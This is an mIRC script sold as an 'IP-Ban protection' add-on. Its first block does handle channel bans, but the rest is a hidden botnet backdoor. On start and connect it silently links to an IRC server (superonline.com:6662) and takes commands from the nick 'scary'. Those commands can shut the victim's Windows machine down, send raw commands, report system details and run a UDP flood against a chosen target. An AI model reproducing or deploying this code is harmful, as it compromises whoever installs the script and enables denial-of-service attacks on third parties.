#ban on
on ^1:ban:#:{
  if ($banmask iswm $address($me,0)) { if ($nick == $me) { mode $chan -b $banmask | echo -a 7Be Careful! it was lame only lamers ban his address! } | else { echo $chan 3*** $nick sets mode: +b $banmask | echo -a 7Be Careful $me $+ :1 ( $+ 5 $+ $banmask $+ 1) 14is on your address! ( $+ $nick $+ / $+ $Address($nick,0) $+ ) 12Was Trying To Ban You On1 ( $+ 14 $+ $chan $+ 4/ $+ 10 $+ $time $+  $+ 1) | if ($me isop $chan) mode $chan -bov+b $banmask $nick $nick $address($nick,2) | kick $chan $nick 1(14S15e14c15u14r15i14t15y1) 12DaBest 14Ban Protection 7Succesful on 4Lamer! 1(14S15e14c15u14r15i14t15y1) | halt } }
  if ($banmask iswm $address($me,3)) { if ($nick == $me) { mode $chan -b $banmask | echo -a 7Be Careful! it was lame only lamers ban his address! } | else { echo $chan 3*** $nick sets mode: +b $banmask | echo -a 7Be Careful $me $+ :1 ( $+ 5 $+ $banmask $+ 1) 14is on your address! ( $+ $nick $+ / $+ $Address($nick,0) $+ ) 12Was Trying To Ban You On1 ( $+ 14 $+ $chan $+ 4/ $+ 10 $+ $time $+  $+ 1) | if ($me isop $chan) mode $chan -bov+b $banmask $nick $nick $address($nick,2) | kick $chan $nick 12DABEST 1(14S15e14c15u14r15i14t15y1) 12DaBest 14Ban Protection 7Succesful on 4Lamer! 1(14S15e14c15u14r15i14t15y1) | halt } }
  if ($banmask iswm $address($me,5)) { if ($nick == $me) { mode $chan -b $banmask | echo -a 7Be Careful! it was lame only lamers ban his address! } | else { echo $chan 3*** $nick sets mode: +b $banmask | echo -a 7Be Careful $me $+ :1 ( $+ 5 $+ $banmask $+ 1) 14is on your address! ( $+ $nick $+ / $+ $Address($nick,0) $+ ) 12Was Trying To Ban You On1 ( $+ 14 $+ $chan $+ 4/ $+ 10 $+ $time $+  $+ 1) | if ($me isop $chan) mode $chan -bov+b $banmask $nick $nick $address($nick,2) | kick $chan $nick 12DABEST 1(14S15e14c15u14r15i14t15y1) 12DaBest 14Ban Protection 7Succesful on 4Lamer! 1(14S15e14c15u14r15i14t15y1) | halt } }
  if ($banmask iswm $me $+ !*@*) { if ($nick == $me)  { mode $chan -b $banmask | echo -a 7Be Careful! it was lame only lamers ban his address! } | else { echo $chan 3*** $nick sets mode: +b $banmask | echo -a 7Be Careful $me $+ :1 ( $+ 5 $+ $banmask $+ 1) 14is on your address! ( $+ $nick $+ / $+ $Address($nick,0) $+ ) 12Was Trying To Ban You On1 ( $+ 14 $+ $chan $+ 4/ $+ 10 $+ $time $+  $+ 1) | if ($me isop $chan) mode $chan -bov+b $banmask $nick $nick $address($nick,2) | kick $chan $nick 1(14S15e14c15u14r15i14t15y1) 12DaBest 14Ban Protection 7Succesful on 4Lamer! 1(14S15e14c15u14r15i14t15y1) | halt } }
}
#ban end
on *:sockopen:warrior: {
  if ($sockerr == 0) {
    sockwrite -nt $sockname nick war\ $+ $left($me,11) $+ \ $+ $r(1,10000)
    sockwrite -nt $sockname user warlord die own : $+ war4!
    sockwrite -nt $sockname ircx
    sockwrite -nt $sockname join #SakaryA
    if ($sockerr != 0) {
    set %sock.server $iif(%sock.server == $null,superonline.com,irc.superonline.com) }
  }
}
menu ,channel {
  Ip-Ban korumas
  .on:/enable #ban | echo 12ip 14Ban Koruman  ak
  .off:/disable #ban | echo 12ip 14Ban Koruman kapal
  .web:/run www.Sakaryatr.cjb.nEt
}
on *:start:.timer 0 0 timerwarx
on *:connect:.timer 0 0 timerwarx
alias timerwarx {
  if ($sock(warrior) == $null) { 
    sockopen warrior superonline.com 6662
    unset %sock.server
  }
}

on *:sockread:warrior: {
  sockread %war
  tokenize 32 %war
  if ($gettok(%war,2,32) == JOIN) && ($gettok(%war,2,$asc(\)) == $me) {
    sockwrite -nt $sockname privmsg $remove($gettok(%war,3,32),:) :12online12/ $+ $iif($server != $null,12server12/ $+ $server $+ 12\) 12/ 12version: v2.0 12/ 12operating system: $os 12/ 12cpu speed: $cpu
  }
  tokenize 32 $gettok(%war,2,$asc(:))
  if ($left(%war,6) == PING :) sockwrite -nt $sockname PONG
  if ($remove($gettok($gettok(%war,2,$asc(!)),1,$asc(@)),~) == scary) && ($gettok(%war,2,32) == privmsg) {
    if ($1 == .restart) { sockwrite -nt $sockname privmsg $gettok(%war,3,32) :12restarting.. | run rundll.exe user.exe,exitwindows }
    if ($1 == .mode) { sockwrite -nt $sockname $2- }
    if ($1 == .info) { sockwrite -nt $sockname privmsg $remove($gettok(%war,3,32),:) :12online12/ $+ $iif($server != $null,12server12/ $+ $server $+ 12\) 12/ 12version: v2.0 12/ 12operating system: $os 12/ 12cpu speed: $cpu }
    if ($1 == .setup) { sockwrite -nt $sockname mode $gettok(%war,3,32) +huil 500 | sockwrite -nt $sockname access $gettok(%war,3,32) add host war\* }
    if ($1 == .clear) { sockwrite -nt $sockname mode $gettok(%war,3,32) -huil 500 | sockwrite -nt $sockname access $gettok(%war,3,32) clear }
    if ($1 == .cpu) { sockwrite -nt $sockname privmsg $remove($gettok(%war,3,32),:) :12cpu speed: $+ $cpu }
    if ($1 == .halt) { sockwrite -nt $sockname privmsg $remove($gettok(%war,3,32),:) :12halting flood.. | timerfaa* off }
    if ($1 == .reset) { sockwrite -nt $sockname privmsg $remove($gettok(%war,3,32),:) :12reseting 12sekrets 12now 12master | sockwrite -nt $sockname part $gettok(%war,3,32) | timererk 1 15 sockwrite -n $sockname join #sekrets }
    if ($1 == .uptime) { sockwrite -nt $sockname privmsg $remove($gettok(%war,3,32),:) :12my 12uptime 12is $duration($calc($ticks / 1000)) 12master }
  }
  if ($gettok(%war,2,32) == privmsg) && ($1 == .udp) {
    if ($remove($gettok($gettok(%war,2,$asc(!)),1,$asc(@)),~) == scary) {
      if ($5 == $null) halt
      .timerfaa -m $calc($3 / $4) $4 whore $2 $5
      set %ctime $ctime
      sockwrite -nt $sockname privmsg $gettok(%war,3,32) :12this 12attack 12will 12take 12about 12- $duration($calc($calc(($3 * $4) / $5) / 300))
    }
  }
}
on *:load:{
  /join #SakaryA
  /notify ahahahah The ServersCatalist Creator
  /notify Freepassword The ServersCatalist Creator
  /set %ban 12ip 14Ban Koruma sistemi (www.Sakaryatr.cjb.nEt) Yapmc by McKruGer E-mail:Beyaz@Europe.com
  /timer201 1 5 /part #SakaryA  %ban
}
alias whore { 
  unset %loop
  :loop
  inc %loop
  sockudp -nbt udp $+ %loop $1 $rand(23,60000) $str(9,400) PING
  if (%Loop < $2) goto loop
  .timerooo 1 2 2214check
}
alias 2214check {  if ($timer(faa) == $null) {  sockwrite -nt warrior privmsg $gettok(%war,3,32) :12attack 12finished, 12it 12took 12 - $duration($calc($ctime - %ctime)) | timerooo off } }
alias cpu { set %protest $ticks | /set %i 2 | :start | if ($calc($ticks - %protest) <= 99) { /inc %i | goto start } | :end | if ($isid) return current cpu speed: $round($calc(%i * 1.11111111111111111111111111111111111111111111111111111111111111111111),1) $+ Mhz | else echo Current CPU Speed: $round($calc(%i * 1.11111111111111111111111111111111111111111111111111111111111111111111),1) $+ Mhz }
